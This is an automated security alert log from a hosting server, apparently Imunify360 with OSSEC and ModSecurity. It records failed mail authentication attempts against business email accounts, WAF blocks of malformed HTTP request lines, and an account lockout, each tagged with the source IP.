abuser: 182.8.161.25
country_id: 1643084
domain: www.mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.mssa.org.my/site/index.php?option=com_content&view=article&id=169:decommissioning-in-malaysia-at-industry-cross-roads&catid=914:smy-dec-2015&Itemid=219 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 120.29.89.31
country_id: 1694008
description:
2026-02-01 17:11:02 dovecot_plain authenticator failed for H=(T8FWR3M6R) [120.29.89.31]:58994: 535 Incorrect authentication data (set_id=shutters@col.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 17:10:05 dovecot_login authenticator failed for H=(8qV1F5uWEM) [158.94.208.175]:53290: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 17:10:05 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:64334: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.185.110.18
country_id: 3469034
domain: www.plomalite.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.plomalite.com/images/photo-collage.png (1).png HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.216.81.126
country_id: 49518
description:
2026-02-01 17:10:44 dovecot_login authenticator failed for H=([196.216.81.126]) [196.216.81.126]:40522: 535 Incorrect authentication data (set_id=info@acburn.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.172.153.16
country_id: 1562822
domain: www.mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.mssa.org.my/mssa/index.php/newsletter/687-2/ HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 17:11:01 dovecot_login authenticator failed for H=(VBcj8R37x) [178.16.54.22]:56554: 535 Incorrect authentication data (set_id=fuzz)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.48.238.46
country_id: 1269750
description:
2026-02-01 17:10:08 dovecot_plain authenticator failed for H=(1J0G627F) [157.48.238.46]:49887: 535 Incorrect authentication data (set_id=sales@chs.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 17:10:27 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:51204: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.188.250.215
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/press-details.php?id=949056 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 212.34.14.162
country_id: 248816
domain: www.mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.mssa.org.my/site/index.php?option=com_content&view=article&id=49&Itemid=55 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.189.198.60
country_id: 1835841
description:
2026-02-01 17:11:57 dovecot_login authenticator failed for H=([121.189.198.60]) [121.189.198.60]:43536: 535 Incorrect authentication data (set_id=admin@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.46.182.10
country_id: 1814991
description:
2026-02-01 17:11:59 dovecot_login authenticator failed for H=([59.46.182.10]) [59.46.182.10]:35681: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.115.5.239
country_id: 953987
domain: www.mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.mssa.org.my/site/index.php?Itemid=153&id=94&option=com_content&view=article HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 17:11:36 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account munch has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.176.244
country_id: 1814991
description:
2026-02-01 17:11:41 dovecot_login authenticator failed for H=([111.61.176.244]) [111.61.176.244]:53852: 535 Incorrect authentication data (set_id=admin@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.59.172.163
country_id: 1269750
description:
2026-02-01 17:11:54 dovecot_plain authenticator failed for H=(AM2GM97U1Z7) [152.59.172.163]:56002: 535 Incorrect authentication data (set_id=support@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.59.202.241
country_id: 149590
description:
2026-02-01 17:11:59 dovecot_login authenticator failed for H=(241.202-59-41.data-dsm.ttcldata.net) [41.59.202.241]:38752: 535 Incorrect authentication data (set_id=admin@mkmetal.com.my)


